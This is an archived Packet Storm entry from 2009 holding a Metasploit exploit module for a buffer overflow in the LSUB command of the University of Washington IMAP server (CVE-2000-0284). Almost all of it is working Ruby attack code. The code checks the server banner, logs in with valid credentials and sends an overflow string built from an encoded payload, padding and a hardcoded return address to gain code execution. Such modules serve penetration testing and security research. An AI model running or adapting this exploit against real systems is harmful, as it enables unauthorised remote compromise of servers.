UoW IMAP Server LSUB Buffer Overflow

2009-10-27T00:00:00
ID PACKETSTORM:82240
Type packetstorm
Reporter patrick
Modified 2009-10-27T00:00:00

Description

                                        
                                            `##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Imap  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'UoW IMAP server LSUB Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in the 'LSUB'  
command of the University of Washington IMAP service.  
This vulnerability can only be exploited with a valid username  
and password.  
},  
'Author' => [ 'patrick' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2000-0284' ],  
[ 'OSVDB', '12037' ],  
[ 'BID', '1110' ],  
[ 'URL', 'http://www.milw0rm.com/exploits/284' ],  
],  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 964,  
'BadChars' => "\x00\x0a\x0d",  
'StackAdjustment' => -3500,  
'Compat' =>   
{  
'ConnectionType' => '-reverse',  
},  
},  
'Platform' => 'linux',   
'Targets' =>   
[  
['RedHat 6.2 - IMAP4rev1 v12.264', { 'Ret' => 0xbffff310 }],  
],  
'DisclosureDate' => 'Apr 16 2000',  
'DefaultTarget' => 0))  
end  
  
def check  
connect  
disconnect  
  
if (banner =~ /IMAP4rev1 v12.264/)  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
  
end  
  
def exploit  
connect_login  
  
print_status("Sending overflow string...")  
req = "a002 LSUB \"\" {1064}\r\n"  
sock.put(req)  
sleep(2)  
  
sploit = payload.encoded + rand_text_alphanumeric(64) + [target['Ret']].pack('V') + rand_text_alphanumeric(32) + "\r\n"  
  
sock.put(sploit)  
sleep(2)  
  
handler  
disconnect  
end  
  
end  
  
`